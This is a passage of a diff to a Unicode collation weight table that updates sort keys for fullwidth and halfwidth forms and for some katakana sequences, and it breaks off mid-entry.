[.1C12.0020.0002] # FULLWIDTH DOLLAR SIGN -FF05 ; [*0399.0020.0002] # FULLWIDTH PERCENT SIGN -FF06 ; [*0396.0020.0002] # FULLWIDTH AMPERSAND -FF07 ; [*0305.0020.0002] # FULLWIDTH APOSTROPHE -FF08 ; [*0317.0020.0002] # FULLWIDTH LEFT PARENTHESIS -FF09 ; [*0318.0020.0002] # FULLWIDTH RIGHT PARENTHESIS -FF0A ; [*038F.0020.0002] # FULLWIDTH ASTERISK -FF0B ; [*0616.0020.0002] # FULLWIDTH PLUS SIGN -FF0C ; [*0222.0020.0002] # FULLWIDTH COMMA +FF01 ; [*025F.0020.0002] # FULLWIDTH EXCLAMATION MARK +FF02 ; [*0305.0020.0002] # FULLWIDTH QUOTATION MARK +FF03 ; [*0391.0020.0002] # FULLWIDTH NUMBER SIGN +FF04 ; [.1B8D.0020.0002] # FULLWIDTH DOLLAR SIGN +FF05 ; [*0392.0020.0002] # FULLWIDTH PERCENT SIGN +FF06 ; [*038F.0020.0002] # FULLWIDTH AMPERSAND +FF07 ; [*02FE.0020.0002] # FULLWIDTH APOSTROPHE +FF08 ; [*0310.0020.0002] # FULLWIDTH LEFT PARENTHESIS +FF09 ; [*0311.0020.0002] # FULLWIDTH RIGHT PARENTHESIS +FF0A ; [*0388.0020.0002] # FULLWIDTH ASTERISK +FF0B ; [*05F6.0020.0002] # FULLWIDTH PLUS SIGN +FF0C ; [*0221.0020.0002] # FULLWIDTH COMMA FF0D ; [*020D.0020.0002] # FULLWIDTH HYPHEN-MINUS -FF0E ; [*0277.0020.0002] # FULLWIDTH FULL STOP -FF0F ; [*0394.0020.0002] # FULLWIDTH SOLIDUS -FF10 ; [.1C3D.0020.0002] # FULLWIDTH DIGIT ZERO -FF11 ; [.1C3E.0020.0002] # FULLWIDTH DIGIT ONE -FF12 ; [.1C3F.0020.0002] # FULLWIDTH DIGIT TWO -FF13 ; [.1C40.0020.0002] # FULLWIDTH DIGIT THREE -FF14 ; [.1C41.0020.0002] # FULLWIDTH DIGIT FOUR -FF15 ; [.1C42.0020.0002] # FULLWIDTH DIGIT FIVE -FF16 ; [.1C43.0020.0002] # FULLWIDTH DIGIT SIX -FF17 ; [.1C44.0020.0002] # FULLWIDTH DIGIT SEVEN -FF18 ; [.1C45.0020.0002] # FULLWIDTH DIGIT EIGHT -FF19 ; [.1C46.0020.0002] # FULLWIDTH DIGIT NINE -FF1A ; [*0239.0020.0002] # FULLWIDTH COLON -FF1B ; [*0234.0020.0002] # FULLWIDTH SEMICOLON -FF1C ; [*061A.0020.0002] # FULLWIDTH LESS-THAN SIGN -FF1D ; [*061B.0020.0002] # FULLWIDTH EQUALS SIGN -FF1E ; [*061C.0020.0002] # FULLWIDTH GREATER-THAN SIGN -FF1F ; [*0266.0020.0002] # FULLWIDTH QUESTION MARK -FF20 ; [*038E.0020.0002] # FULLWIDTH COMMERCIAL AT -FF21 ; [.1C47.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER A -FF22 ; [.1C60.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER B -FF23 ; [.1C7A.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER C -FF24 ; [.1C8F.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER D -FF25 ; [.1CAA.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER E -FF26 ; [.1CE5.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER F -FF27 ; [.1CF4.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER G -FF28 ; [.1D18.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER H -FF29 ; [.1D32.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER I -FF2A ; [.1D4C.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER J -FF2B ; [.1D65.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER K -FF2C ; [.1D77.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER L -FF2D ; [.1DAA.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER M -FF2E ; [.1DB9.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER N -FF2F ; [.1DDD.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER O -FF30 ; [.1E0C.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER P -FF31 ; [.1E21.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER Q -FF32 ; [.1E33.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER R -FF33 ; [.1E71.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER S -FF34 ; [.1E95.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER T -FF35 ; [.1EB5.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER U -FF36 ; [.1EE3.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER V -FF37 ; [.1EF5.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER W -FF38 ; [.1EFF.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER X -FF39 ; [.1F0B.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER Y -FF3A ; [.1F21.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER Z -FF3B ; [*0319.0020.0002] # FULLWIDTH LEFT SQUARE BRACKET -FF3C ; [*0305.0020.0002] # FULLWIDTH REVERSE SOLIDUS -FF3D ; [*031A.0020.0002] # FULLWIDTH RIGHT SQUARE BRACKET -FF3E ; [*0485.0020.0002] # FULLWIDTH CIRCUMFLEX ACCENT +FF0E ; [*0274.0020.0002] # FULLWIDTH FULL STOP +FF0F ; [*038D.0020.0002] # FULLWIDTH SOLIDUS +FF10 ; [.1BB8.0020.0002] # FULLWIDTH DIGIT ZERO +FF11 ; [.1BB9.0020.0002] # FULLWIDTH DIGIT ONE +FF12 ; [.1BBA.0020.0002] # FULLWIDTH DIGIT TWO +FF13 ; [.1BBB.0020.0002] # FULLWIDTH DIGIT THREE +FF14 ; [.1BBC.0020.0002] # FULLWIDTH DIGIT FOUR +FF15 ; [.1BBD.0020.0002] # FULLWIDTH DIGIT FIVE +FF16 ; [.1BBE.0020.0002] # FULLWIDTH DIGIT SIX +FF17 ; [.1BBF.0020.0002] # FULLWIDTH DIGIT SEVEN +FF18 ; [.1BC0.0020.0002] # FULLWIDTH DIGIT EIGHT +FF19 ; [.1BC1.0020.0002] # FULLWIDTH DIGIT NINE +FF1A ; [*0238.0020.0002] # FULLWIDTH COLON +FF1B ; [*0233.0020.0002] # FULLWIDTH SEMICOLON +FF1C ; [*05FA.0020.0002] # FULLWIDTH LESS-THAN SIGN +FF1D ; [*05FB.0020.0002] # FULLWIDTH EQUALS SIGN +FF1E ; [*05FC.0020.0002] # FULLWIDTH GREATER-THAN SIGN +FF1F ; [*0264.0020.0002] # FULLWIDTH QUESTION MARK +FF20 ; [*0387.0020.0002] # FULLWIDTH COMMERCIAL AT +FF21 ; [.1BC2.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER A +FF22 ; [.1BDB.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER B +FF23 ; [.1BF5.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER C +FF24 ; [.1C0A.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER D +FF25 ; [.1C25.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER E +FF26 ; [.1C60.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER F +FF27 ; [.1C6F.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER G +FF28 ; [.1C93.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER H +FF29 ; [.1CAD.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER I +FF2A ; [.1CC7.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER J +FF2B ; [.1CE0.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER K +FF2C ; [.1CF2.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER L +FF2D ; [.1D25.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER M +FF2E ; [.1D34.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER N +FF2F ; [.1D58.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER O +FF30 ; [.1D87.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER P +FF31 ; [.1D9C.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER Q +FF32 ; [.1DAE.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER R +FF33 ; [.1DEC.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER S +FF34 ; [.1E10.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER T +FF35 ; [.1E30.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER U +FF36 ; [.1E5E.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER V +FF37 ; [.1E70.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER W +FF38 ; [.1E7A.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER X +FF39 ; [.1E86.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER Y +FF3A ; [.1E9C.0020.0008] # FULLWIDTH LATIN CAPITAL LETTER Z +FF3B ; [*0312.0020.0002] # FULLWIDTH LEFT SQUARE BRACKET +FF3C ; [*02FE.0020.0002] # FULLWIDTH REVERSE SOLIDUS +FF3D ; [*0313.0020.0002] # FULLWIDTH RIGHT SQUARE BRACKET +FF3E ; [*0466.0020.0002] # FULLWIDTH CIRCUMFLEX ACCENT FF3F ; [*020B.0020.0002] # FULLWIDTH LOW LINE -FF40 ; [*0482.0020.0002] # FULLWIDTH GRAVE ACCENT -FF41 ; [.1C47.0020.0002] # FULLWIDTH LATIN SMALL LETTER A -FF42 ; [.1C60.0020.0002] # FULLWIDTH LATIN SMALL LETTER B -FF43 ; [.1C7A.0020.0002] # FULLWIDTH LATIN SMALL LETTER C -FF44 ; [.1C8F.0020.0002] # FULLWIDTH LATIN SMALL LETTER D -FF45 ; [.1CAA.0020.0002] # FULLWIDTH LATIN SMALL LETTER E -FF46 ; [.1CE5.0020.0002] # FULLWIDTH LATIN SMALL LETTER F -FF47 ; [.1CF4.0020.0002] # FULLWIDTH LATIN SMALL LETTER G -FF48 ; [.1D18.0020.0002] # FULLWIDTH LATIN SMALL LETTER H -FF49 ; [.1D32.0020.0002] # FULLWIDTH LATIN SMALL LETTER I -FF4A ; [.1D4C.0020.0002] # FULLWIDTH LATIN SMALL LETTER J -FF4B ; [.1D65.0020.0002] # FULLWIDTH LATIN SMALL LETTER K -FF4C ; [.1D77.0020.0002] # FULLWIDTH LATIN SMALL LETTER L -FF4D ; [.1DAA.0020.0002] # FULLWIDTH LATIN SMALL LETTER M -FF4E ; [.1DB9.0020.0002] # FULLWIDTH LATIN SMALL LETTER N -FF4F ; [.1DDD.0020.0002] # FULLWIDTH LATIN SMALL LETTER O -FF50 ; [.1E0C.0020.0002] # FULLWIDTH LATIN SMALL LETTER P -FF51 ; [.1E21.0020.0002] # FULLWIDTH LATIN SMALL LETTER Q -FF52 ; [.1E33.0020.0002] # FULLWIDTH LATIN SMALL LETTER R -FF53 ; [.1E71.0020.0002] # FULLWIDTH LATIN SMALL LETTER S -FF54 ; [.1E95.0020.0002] # FULLWIDTH LATIN SMALL LETTER T -FF55 ; [.1EB5.0020.0002] # FULLWIDTH LATIN SMALL LETTER U -FF56 ; [.1EE3.0020.0002] # FULLWIDTH LATIN SMALL LETTER V -FF57 ; [.1EF5.0020.0002] # FULLWIDTH LATIN SMALL LETTER W -FF58 ; [.1EFF.0020.0002] # FULLWIDTH LATIN SMALL LETTER X -FF59 ; [.1F0B.0020.0002] # FULLWIDTH LATIN SMALL LETTER Y -FF5A ; [.1F21.0020.0002] # FULLWIDTH LATIN SMALL LETTER Z -FF5B ; [*031B.0020.0002] # FULLWIDTH LEFT CURLY BRACKET -FF5C ; [*061E.0020.0002] # FULLWIDTH VERTICAL LINE -FF5D ; [*031C.0020.0002] # FULLWIDTH RIGHT CURLY BRACKET -FF5E ; [*0620.0020.0002] # FULLWIDTH TILDE -FF5F ; [*032D.0020.0002] # FULLWIDTH LEFT WHITE PARENTHESIS -FF60 ; [*032E.0020.0002] # FULLWIDTH RIGHT WHITE PARENTHESIS -FF61 ; [*028A.0020.0002] # HALFWIDTH IDEOGRAPHIC FULL STOP -FF62 ; [*0373.0020.0002] # HALFWIDTH LEFT CORNER BRACKET -FF63 ; [*0374.0020.0002] # HALFWIDTH RIGHT CORNER BRACKET -FF64 ; [*0231.0020.0002] # HALFWIDTH IDEOGRAPHIC COMMA -FF65 ; [*0221.0020.0002] # HALFWIDTH KATAKANA MIDDLE DOT -FF66 ; [.3D8A.0020.0011.0002] # HALFWIDTH KATAKANA LETTER WO -FF67 ; [.3D5A.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL A -FF68 ; [.3D5B.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL I -FF69 ; [.3D5C.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL U -FF6A ; [.3D5E.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL E -FF6B ; [.3D5F.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL O -FF6C ; [.3D7E.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL YA -FF6D ; [.3D7F.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL YU -FF6E ; [.3D81.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL YO -FF6F ; [.3D6C.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL TU -FF70 ; [.1C0E.0020.0002] # HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK -FF71 ; [.3D5A.0020.0011.0002] # HALFWIDTH KATAKANA LETTER A -FF72 ; [.3D5B.0020.0011.0002] # HALFWIDTH KATAKANA LETTER I -FF73 ; [.3D5C.0020.0011.0002] # HALFWIDTH KATAKANA LETTER U -FF74 ; [.3D5E.0020.0011.0002] # HALFWIDTH KATAKANA LETTER E -FF75 ; [.3D5F.0020.0011.0002] # HALFWIDTH KATAKANA LETTER O -FF76 ; [.3D60.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KA -FF77 ; [.3D61.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KI -FF78 ; [.3D62.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KU -FF79 ; [.3D63.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KE -FF7A ; [.3D64.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KO -FF7B ; [.3D65.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SA -FF7C ; [.3D66.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SI -FF7D ; [.3D67.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SU -FF7E ; [.3D68.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SE -FF7F ; [.3D69.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SO -FF80 ; [.3D6A.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TA -FF81 ; [.3D6B.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TI -FF82 ; [.3D6C.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TU -FF83 ; [.3D6D.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TE -FF84 ; [.3D6E.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TO -FF85 ; [.3D6F.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NA -FF86 ; [.3D70.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NI -FF87 ; [.3D71.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NU -FF88 ; [.3D72.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NE -FF89 ; [.3D73.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NO -FF8A ; [.3D74.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HA -FF8B ; [.3D75.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HI -FF8C ; [.3D76.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HU -FF8D ; [.3D77.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HE -FF8E ; [.3D78.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HO -FF8F ; [.3D79.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MA -FF90 ; [.3D7A.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MI -FF91 ; [.3D7B.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MU -FF92 ; [.3D7C.0020.0011.0002] # HALFWIDTH KATAKANA LETTER ME -FF93 ; [.3D7D.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MO -FF94 ; [.3D7E.0020.0011.0002] # HALFWIDTH KATAKANA LETTER YA -FF95 ; [.3D7F.0020.0011.0002] # HALFWIDTH KATAKANA LETTER YU -FF96 ; [.3D81.0020.0011.0002] # HALFWIDTH KATAKANA LETTER YO -FF97 ; [.3D82.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RA -FF98 ; [.3D83.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RI -FF99 ; [.3D84.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RU -FF9A ; [.3D85.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RE -FF9B ; [.3D86.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RO -FF9C ; [.3D87.0020.0011.0002] # HALFWIDTH KATAKANA LETTER WA -FF9D ; [.3D8B.0020.0011.0002] # HALFWIDTH KATAKANA LETTER N +FF40 ; [*0463.0020.0002] # FULLWIDTH GRAVE ACCENT +FF41 ; [.1BC2.0020.0002] # FULLWIDTH LATIN SMALL LETTER A +FF42 ; [.1BDB.0020.0002] # FULLWIDTH LATIN SMALL LETTER B +FF43 ; [.1BF5.0020.0002] # FULLWIDTH LATIN SMALL LETTER C +FF44 ; [.1C0A.0020.0002] # FULLWIDTH LATIN SMALL LETTER D +FF45 ; [.1C25.0020.0002] # FULLWIDTH LATIN SMALL LETTER E +FF46 ; [.1C60.0020.0002] # FULLWIDTH LATIN SMALL LETTER F +FF47 ; [.1C6F.0020.0002] # FULLWIDTH LATIN SMALL LETTER G +FF48 ; [.1C93.0020.0002] # FULLWIDTH LATIN SMALL LETTER H +FF49 ; [.1CAD.0020.0002] # FULLWIDTH LATIN SMALL LETTER I +FF4A ; [.1CC7.0020.0002] # FULLWIDTH LATIN SMALL LETTER J +FF4B ; [.1CE0.0020.0002] # FULLWIDTH LATIN SMALL LETTER K +FF4C ; [.1CF2.0020.0002] # FULLWIDTH LATIN SMALL LETTER L +FF4D ; [.1D25.0020.0002] # FULLWIDTH LATIN SMALL LETTER M +FF4E ; [.1D34.0020.0002] # FULLWIDTH LATIN SMALL LETTER N +FF4F ; [.1D58.0020.0002] # FULLWIDTH LATIN SMALL LETTER O +FF50 ; [.1D87.0020.0002] # FULLWIDTH LATIN SMALL LETTER P +FF51 ; [.1D9C.0020.0002] # FULLWIDTH LATIN SMALL LETTER Q +FF52 ; [.1DAE.0020.0002] # FULLWIDTH LATIN SMALL LETTER R +FF53 ; [.1DEC.0020.0002] # FULLWIDTH LATIN SMALL LETTER S +FF54 ; [.1E10.0020.0002] # FULLWIDTH LATIN SMALL LETTER T +FF55 ; [.1E30.0020.0002] # FULLWIDTH LATIN SMALL LETTER U +FF56 ; [.1E5E.0020.0002] # FULLWIDTH LATIN SMALL LETTER V +FF57 ; [.1E70.0020.0002] # FULLWIDTH LATIN SMALL LETTER W +FF58 ; [.1E7A.0020.0002] # FULLWIDTH LATIN SMALL LETTER X +FF59 ; [.1E86.0020.0002] # FULLWIDTH LATIN SMALL LETTER Y +FF5A ; [.1E9C.0020.0002] # FULLWIDTH LATIN SMALL LETTER Z +FF5B ; [*0314.0020.0002] # FULLWIDTH LEFT CURLY BRACKET +FF5C ; [*05FE.0020.0002] # FULLWIDTH VERTICAL LINE +FF5D ; [*0315.0020.0002] # FULLWIDTH RIGHT CURLY BRACKET +FF5E ; [*0600.0020.0002] # FULLWIDTH TILDE +FF5F ; [*0326.0020.0002] # FULLWIDTH LEFT WHITE PARENTHESIS +FF60 ; [*0327.0020.0002] # FULLWIDTH RIGHT WHITE PARENTHESIS +FF61 ; [*0287.0020.0002] # HALFWIDTH IDEOGRAPHIC FULL STOP +FF62 ; [*036C.0020.0002] # HALFWIDTH LEFT CORNER BRACKET +FF63 ; [*036D.0020.0002] # HALFWIDTH RIGHT CORNER BRACKET +FF64 ; [*0230.0020.0002] # HALFWIDTH IDEOGRAPHIC COMMA +FF65 ; [*0220.0020.0002] # HALFWIDTH KATAKANA MIDDLE DOT +FF66 ; [.3BF3.0020.0011.0002] # HALFWIDTH KATAKANA LETTER WO +FF67 ; [.3BC3.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL A +FF68 ; [.3BC4.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL I +FF69 ; [.3BC5.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL U +FF6A ; [.3BC7.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL E +FF6B ; [.3BC8.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL O +FF6C ; [.3BE7.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL YA +FF6D ; [.3BE8.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL YU +FF6E ; [.3BEA.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL YO +FF6F ; [.3BD5.0020.000F.0002] # HALFWIDTH KATAKANA LETTER SMALL TU +FF70 ; [.1B89.0020.0002] # HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK +FF71 ; [.3BC3.0020.0011.0002] # HALFWIDTH KATAKANA LETTER A +FF72 ; [.3BC4.0020.0011.0002] # HALFWIDTH KATAKANA LETTER I +FF73 ; [.3BC5.0020.0011.0002] # HALFWIDTH KATAKANA LETTER U +FF74 ; [.3BC7.0020.0011.0002] # HALFWIDTH KATAKANA LETTER E +FF75 ; [.3BC8.0020.0011.0002] # HALFWIDTH KATAKANA LETTER O +FF76 ; [.3BC9.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KA +FF77 ; [.3BCA.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KI +FF78 ; [.3BCB.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KU +FF79 ; [.3BCC.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KE +FF7A ; [.3BCD.0020.0011.0002] # HALFWIDTH KATAKANA LETTER KO +FF7B ; [.3BCE.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SA +FF7C ; [.3BCF.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SI +FF7D ; [.3BD0.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SU +FF7E ; [.3BD1.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SE +FF7F ; [.3BD2.0020.0011.0002] # HALFWIDTH KATAKANA LETTER SO +FF80 ; [.3BD3.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TA +FF81 ; [.3BD4.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TI +FF82 ; [.3BD5.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TU +FF83 ; [.3BD6.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TE +FF84 ; [.3BD7.0020.0011.0002] # HALFWIDTH KATAKANA LETTER TO +FF85 ; [.3BD8.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NA +FF86 ; [.3BD9.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NI +FF87 ; [.3BDA.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NU +FF88 ; [.3BDB.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NE +FF89 ; [.3BDC.0020.0011.0002] # HALFWIDTH KATAKANA LETTER NO +FF8A ; [.3BDD.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HA +FF8B ; [.3BDE.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HI +FF8C ; [.3BDF.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HU +FF8D ; [.3BE0.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HE +FF8E ; [.3BE1.0020.0011.0002] # HALFWIDTH KATAKANA LETTER HO +FF8F ; [.3BE2.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MA +FF90 ; [.3BE3.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MI +FF91 ; [.3BE4.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MU +FF92 ; [.3BE5.0020.0011.0002] # HALFWIDTH KATAKANA LETTER ME +FF93 ; [.3BE6.0020.0011.0002] # HALFWIDTH KATAKANA LETTER MO +FF94 ; [.3BE7.0020.0011.0002] # HALFWIDTH KATAKANA LETTER YA +FF95 ; [.3BE8.0020.0011.0002] # HALFWIDTH KATAKANA LETTER YU +FF96 ; [.3BEA.0020.0011.0002] # HALFWIDTH KATAKANA LETTER YO +FF97 ; [.3BEB.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RA +FF98 ; [.3BEC.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RI +FF99 ; [.3BED.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RU +FF9A ; [.3BEE.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RE +FF9B ; [.3BEF.0020.0011.0002] # HALFWIDTH KATAKANA LETTER RO +FF9C ; [.3BF0.0020.0011.0002] # HALFWIDTH KATAKANA LETTER WA +FF9D ; [.3BF4.0020.0011.0002] # HALFWIDTH KATAKANA LETTER N FF9E ; [.0000.0037.0002] # HALFWIDTH KATAKANA VOICED SOUND MARK FF9F ; [.0000.0038.0002] # HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK -FFE0 ; [.1C11.0020.0002] # FULLWIDTH CENT SIGN -FFE1 ; [.1C13.0020.0002] # FULLWIDTH POUND SIGN -FFE2 ; [*061D.0020.0002] # FULLWIDTH NOT SIGN +FFE0 ; [.1B8C.0020.0002] # FULLWIDTH CENT SIGN +FFE1 ; [.1B8E.0020.0002] # FULLWIDTH POUND SIGN +FFE2 ; [*05FD.0020.0002] # FULLWIDTH NOT SIGN FFE3 ; [*0209.0020.0002] # FULLWIDTH MACRON -FFE4 ; [*061F.0020.0002] # FULLWIDTH BROKEN BAR -FFE5 ; [.1C14.0020.0002] # FULLWIDTH YEN SIGN -FFE6 ; [.1C27.0020.0002] # FULLWIDTH WON SIGN -FFE8 ; [*081A.0020.0002] # HALFWIDTH FORMS LIGHT VERTICAL -FFE9 ; [*059C.0020.0002] # HALFWIDTH LEFTWARDS ARROW -FFEA ; [*059E.0020.0002] # HALFWIDTH UPWARDS ARROW -FFEB ; [*059D.0020.0002] # HALFWIDTH RIGHTWARDS ARROW -FFEC ; [*059F.0020.0002] # HALFWIDTH DOWNWARDS ARROW -FFED ; [*08B8.0020.0002] # HALFWIDTH BLACK SQUARE -FFEE ; [*08E3.0020.0002] # HALFWIDTH WHITE CIRCLE -30A1 30FC ; [.3D5A.0020.000F.0002][.3D5A.0020.0007.0002] # -FF67 30FC ; [.3D5A.0020.000F.0002][.3D5A.0020.0007.0002] # -FF67 FF70 ; [.3D5A.0020.000F.0002][.3D5A.0020.0007.0002] # -3041 30FC ; [.3D5A.0020.000F.0001][.3D5A.0020.0007.0002] # -30A2 30FC ; [.3D5A.0020.0011.0002][.3D5A.0020.0007.0002] # -FF71 30FC ; [.3D5A.0020.0011.0002][.3D5A.0020.0007.0002] # -FF71 FF70 ; [.3D5A.0020.0011.0002][.3D5A.0020.0007.0002] # -3042 30FC ; [.3D5A.0020.0011.0001][.3D5A.0020.0007.0002] # -30AB 30FC ; [.3D60.0020.0011.0002][.3D5A.0020.0007.0002] # -FF76 30FC ; [.3D60.0020.0011.0002][.3D5A.0020.0007.0002] # -FF76 FF70 ; [.3D60.0020.0011.0002][.3D5A.0020.0007.0002] # -304B 30FC ; [.3D60.0020.0011.0001][.3D5A.0020.0007.0002] # -30AC 30FC ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -30AB 3099 30FC ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -FF76 FF9E 30FC ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -FF76 FF9E FF70 ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -304C 30FC ; [.3D60.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # -304B 3099 30FC ; [.3D60.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # -30B5 30FC ; [.3D65.0020.0011.0002][.3D5A.0020.0007.0002] # -FF7B 30FC ; [.3D65.0020.0011.0002][.3D5A.0020.0007.0002] # -FF7B FF70 ; [.3D65.0020.0011.0002][.3D5A.0020.0007.0002] # -3055 30FC ; [.3D65.0020.0011.0001][.3D5A.0020.0007.0002] # -30B6 30FC ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -30B5 3099 30FC ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -FF7B FF9E 30FC ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -FF7B FF9E FF70 ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # -3056 30FC ; [.3D65.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # -3055 3099 30FC ; [.3D65.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # -30BF 30FC ; [.3D6A.0020.0011.0002][.3D5A.0020.0007.0002] # -FF80 30FC ; 